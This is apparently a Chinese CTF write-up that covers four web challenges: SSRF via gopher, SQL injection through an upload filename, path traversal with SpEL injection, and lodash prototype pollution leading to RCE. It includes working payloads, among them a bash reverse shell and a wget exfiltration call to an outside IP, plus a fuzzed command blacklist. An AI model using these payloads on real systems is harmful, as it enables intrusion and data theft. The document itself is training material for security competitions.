第二届网刃杯 WEB

Sign_in

一道SSRF
image-20220424104104077
看一下网络情况

http://124.222.173.163:20003/?url=file:///proc/net/arp


访问一下 100,因为长的奇怪

绕后就是添加一下XFF,Ref头信息,gopher打过去就好
exp

import urllib.parse
payload =\
"""
POST /?a=1 HTTP/1.1
Host: bolean.club
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club

b=1
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = '?url=gopher://172.73.26.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 因为是GET请求所以要进行两次url编码

FLAG:flag{Have_A_GoOd_T1m3!!!}

upload

题目提示与sql有关,随便上传尝试在filename加个单引号


回显报错

Error: insert into upload_file values('9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'');<br>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'')' at line 1

利用报错注入读一下源码,sqlmap可以跑出来

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ç®€å•ä¸Šä¼ </title>
</head>
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="upfile">
        <input type="submit" value="ä¸Šä¼ ">
    </form>
</body>
</html>
<?php
    ini_set('display_errors',1);        
    ini_set('display_startup_errors',1);
    error_reporting(-1);
    $servername = "localhost";
    $username = "root";
    $password = "123456";
    $dbname = "upload";
     

    $conn = mysqli_connect($servername, $username, $password, $dbname);
    if(!empty($_FILES)){
        $filename_hz = explode(".", $_FILES['upfile']['name']);
        $name = array('jpg', 'jpeg' ,'png', 'gif');
        $filename_ = end($filename_hz);
        if(in_array($filename_, $name) || $_FILES['upfile']['type'] == "ctf"){
            $tmpname   = $_FILES['upfile']['tmp_name'];
            $name      = $_FILES['upfile']['name'];
            $file_name = md5(date('YmdHis').rand(100,999).$name).'.'.$filename_;
            $sql = "insert into upload_file values('$file_name');";
            if (mysqli_query($conn, $sql)){
                if(move_uploaded_file($tmpname, './upload/'.$file_name)){
                    echo $name.""."/upload/$file_name";
                }else{
                    echo $name." ";
                }
            }else {
                echo "Error: " . $sql . "<br>" . mysqli_error($conn);
            }
        }else{
        echo "............ctf";
        }
    }

直接报错猜 flag 字段


FLAG:flag{5937a0b90b5966939cccd369291c68aa}

ez_java

  • spel注入

任意文件读取

/download?filename=../../../web.xml

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>com.abc.servlet.TestServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test388</url-pattern>
    </servlet-mapping>

</web-app>

下载两个 class文件

/download?filename=../../../classes/com/abc/servlet/TestServlet.class
/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class

TestServlet.class存在SPEL注入,黑名单拼接一下就绕了

URL编码一下payload即可反弹shell

POST:
http://124.220.9.19:8025/test388

name=#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/1.116.110.61/3000 0>&1"})}


FLAG:flag{123awerghjvxcvcjfreawe}

ezjs

  • 原型污染
  • lodash

看下库,用到了lodash,这个版本存在漏洞,npm install 一下本地调试

从代码中可以看到merge存在原型污染,然后用到了template函数

然后找到了文章 从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com),有个配合 lodash.template 实现 RCE,污染 sourceURL

payload

{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

但是题目的黑名单没有明确给出,跟进调试一下,假设黑名单为空。

断点下到template,Object的sourceURL已被污染
判断options中的sourceURL的值,options中不存在,向上寻找到Object,这里已经污染了所以存在

此时

sourceURL = "//# sourceURL=\nreturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('calc')}\n"

然后拼接到 Function中的第二个参数,造成任意代码执行

需要注意的

但是要注意,Function 环境下没有 require 函数,直接使用 require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

关于Function构造器(构造函数):Nodejs原型链污染中lodash的利用方法分析

var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。

本地测试几个变形的payload,可以执行

{"__proto__":{"sourceURL":"\u000areturn global.process.mainModule.constructor._load('child_process').execSync('calc')"}}

{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').execSync('calc')"}}

然后就是手动fuzz题目的黑名单

空格
require
return
execSync
curl
bash
wget
echo
flag
nl
tac
cat(没ban但是不起作用)
*
?

payload

{
	"__proto__":{
		"sourceURL":
"\nglobal.process.mainModule.constructor._load('child_process').exec('wg'+'et${IFS}http://1.116.110.61:3000/`ta\"\"c${IFS}/.fl\"\"ag`')"
		}
}

注意 Content-Type: application/json

FLAG:flag{n0D3_1s_V3rY_v3Ry_very_v3rY_Fun_1sNt_it}

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值